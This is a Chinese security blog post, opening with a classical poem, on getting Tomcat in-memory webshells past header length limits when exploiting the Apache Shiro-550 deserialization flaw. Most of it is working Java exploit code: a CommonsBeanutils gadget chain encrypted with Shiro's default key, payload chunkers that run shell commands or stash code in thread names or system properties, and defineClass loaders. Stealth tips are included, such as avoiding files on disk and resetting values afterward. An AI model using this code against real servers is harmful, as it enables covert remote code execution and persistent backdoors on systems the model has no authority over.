林花谢了春红,太匆匆。无奈朝来寒雨晚来风。
胭脂泪,相留醉,几时重。自是人生长恨水长东。

总结一下技巧吧,师傅们太猛了,浅浅搬个砖

相遇

首先看到pen4uin师傅的文章:记一次 Shiro 的实战利用
利用到的是文件落地+追加的方式,也是最基础的一种

简单演示一遍
首先使用JMG生成Tomcat内存马,输出格式为BASE64

将结果放入[payload]中,限制每组长度为1000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import javassist.ClassPool;
import javassist.CtClass;

public class WriteFile {
public static void main(String[] args) throws Exception{
String base64 = [payload];
int groupSize = 1000;
int length = base64.length();
int startIndex = 0;
int endIndex = Math.min(length, groupSize);
int a = 1;
while (startIndex < length) {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass(String.valueOf(a));
payload.setSuperclass(classPool.get(AbstractTranslet));
String group = base64.substring(startIndex, endIndex);
startIndex = endIndex;
endIndex = Math.min(startIndex + groupSize, length);
String cmd = "{String[] strs = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", \"echo "+group+"> 1.txt\"} : new String[]{\"/bin/sh\", \"-c\", \"echo "+group+"> 1.txt\"};\n"+"java.lang.Runtime.getRuntime().exec(strs);}";
if(a>=2){
cmd = "{String[] strs = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", \"echo "+group+">> 1.txt\"} : new String[]{\"/bin/sh\", \"-c\", \"echo "+group+">> 1.txt\"};\n"+"java.lang.Runtime.getRuntime().exec(strs);}";
}
// System.out.println(cmd);
payload.makeClassInitializer().setBody(cmd);
byte[] bytes=payload.toBytecode();
System.out.println(new CommonsBeanutilsString().getPayload(bytes));
a++;
}
}
}

这里需要找一个可写的路径,linux可以为/tmp目录下

CB的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutilsString {
public String getPayload(byte[] bytes) throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
setFieldValue(obj, "_name", "");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(queue);
oos.close();

byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService aes = new AesCipherService();
ByteSource ciphertext = aes.encrypt(baos.toByteArray(), key);
return ciphertext.toString();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

得到的payload长度仅仅为3000+,可以说是非常短了,如果需要更短的话将groupSize调小即可

依次执行,验证一下生成的文件

没有问题,最后defineClass加载内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;

public class ClassLoaderFromFile extends AbstractTranslet {
static {
try {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
byte[] fileBytes = Files.readAllBytes(Paths.get("./1.txt"));
String fileContent = new String(fileBytes, StandardCharsets.UTF_8);
String base64Str = fileContent.replace("\r","").replace("\n","");
byte[] clazzByte = org.apache.shiro.codec.Base64.decode(base64Str);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
Class clazz = (Class)defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
clazz.newInstance();
} catch (Exception e){}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

但是,这种方法有一个很明显的弊端,就是存在文件落地,有没有更好的办法呢?

相识

接下来是y4tacker师傅写到的:浅谈Shiro550受Tomcat Header长度限制影响突破
通过线程对象的名字来存储我们的palyload

先看下存储能力

非常轻松就存储了1w+的数据,还是很有实力的

由于每次刷新网页当前线程都会变,所以我们需要遍历线程组,然后指定一个线程的名称,依次添加我们的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import javassist.ClassPool;
import javassist.CtClass;

public class WriteThread {
public static void main(String[] args) throws Exception{
String base64 = [payload];
int groupSize = 1000;
int length = base64.length();
int startIndex = 0;
int endIndex = Math.min(length, groupSize);
int a = 1;
String cmd = "Thread.currentThread().setName(\"Test\");";
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("SetName");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody(cmd);
byte[] bytes=payload.toBytecode();
String poc = new CommonsBeanutilsString().getPayload(bytes);
System.out.println(poc);

while (startIndex < length) {
payload=classPool.makeClass(String.valueOf(a));
payload.setSuperclass(classPool.get(AbstractTranslet));
String group = base64.substring(startIndex, endIndex);
startIndex = endIndex;
endIndex = Math.min(startIndex + groupSize, length);
cmd = "{try {\n" +
" ThreadGroup a = Thread.currentThread().getThreadGroup();\n" +
" java.lang.reflect.Field v2 = a.getClass().getDeclaredField(\"threads\");\n" +
" v2.setAccessible(true);\n" +
" Thread[] o = (Thread[]) v2.get(a);\n" +
" for(int i = 0; i < o.length; ++i) {\n" +
" Thread z = o[i];if (z.getName().contains(\"Test\")){\n" +
" z.setName(z.getName()+\""+group+"\");\n" +
" }\n" +
" }\n" +
"}catch (Exception e){}}";
// System.out.println(cmd);
payload.makeClassInitializer().setBody(cmd);
bytes=payload.toBytecode();
poc = new CommonsBeanutilsString().getPayload(bytes);
System.out.println(poc);
a++;
}
}
}

验证一下,可以看到其中有一个线程名已经被修改为我们指定的内容

加载:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class ClassLoaderFromThreadName extends AbstractTranslet {
static {
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
try {
Field threadsField = threadGroup.getClass().getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[]) threadsField.get(threadGroup);
for (Thread thread : threads) {
if (thread.getName().contains("Test")) {
String payload = thread.getName().replaceAll("Test", "");
byte[] clazzByte = org.apache.shiro.codec.Base64.decode(payload);
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
((Class)defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length)).newInstance();
break;
}
}
} catch (Exception e) {}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

尝试连接

最后记得把线程名改回去即可

相知

虽然通过线程名的方式已经解决了不出网+无落地,但是总归不够优雅

在Firebasky师傅的知识星球中(已经过期了qwq),有位师傅给出了更通俗易懂的方案,应该也是其中最短的吧,非常巧妙

通过System.setProperty设置系统属性的方式将payload存储在系统属性中

1
System.setProperty("a","__PAYLOAD__");

分块去设置Property,然后通过读取我们设置的内容实现加载

最终给出poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import javassist.ClassPool;
import javassist.CtClass;

public class WriteProperty {
public static void main(String[] args) throws Exception{
String base64 = [payload];
int groupSize = 1000;
int length = base64.length();
int startIndex = 0;
int endIndex = Math.min(length, groupSize);
int a = 1;
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);

System.out.println("设置系统属性:");
while (startIndex < length) {
CtClass payload=classPool.makeClass(String.valueOf(a));
payload.setSuperclass(classPool.get(AbstractTranslet));
String group = base64.substring(startIndex, endIndex);
startIndex = endIndex;
endIndex = Math.min(startIndex + groupSize, length);
String cmd = "System.setProperty(\""+a+"\",\""+group+"\");";
// System.out.println(cmd);
payload.makeClassInitializer().setBody(cmd);
byte[] bytes=payload.toBytecode();
String poc = new CommonsBeanutilsString().getPayload(bytes);
System.out.println(poc);
a++;
}
String bytestr ="";
for(int i=1;i<=a-1;i++){
if(i<a-1){
bytestr = bytestr + "System.getProperty(\""+i+"\")+";
}else {
bytestr = bytestr + "System.getProperty(\""+i+"\");";
}
}
String cmd = "{try {\n" +
"ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n" +
"String base64Str = "+bytestr+"\n" +
"byte[] clazzByte = org.apache.shiro.codec.Base64.decode(base64Str);\n" +
"java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class,int.class,int.class});\n" +
"defineClass.setAccessible(true);\n" +
"Class clazz = (Class)defineClass.invoke(classLoader,new Object[]{clazzByte, new Integer(0), new Integer(clazzByte.length)});\n" +
"clazz.newInstance();\n" +
"}catch (Exception e){}}";
// System.out.println(cmd);
CtClass payload=classPool.makeClass("ld");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody(cmd);
byte[] bytes=payload.toBytecode();
String poc = new CommonsBeanutilsString().getPayload(bytes);
System.out.println("加载字节码:\n"+poc);
}
}

为了不影响系统,加载成功之后可以将值改为null

注意:bp发包的时候取消勾选URL编码,并且设置线程为1

最终效果如下:

第一种方式是将内存马存储在文件当中,而后续两种则是存储在内存当中,更加隐蔽,动静更小

Tomcat默认的header最大长度为8192,正常来说是不需要这么复杂的方案的,仅仅是作为一个思维的扩展
其中还可以对其中的代码长度进一步进行缩小:终极Java反序列化Payload缩小技术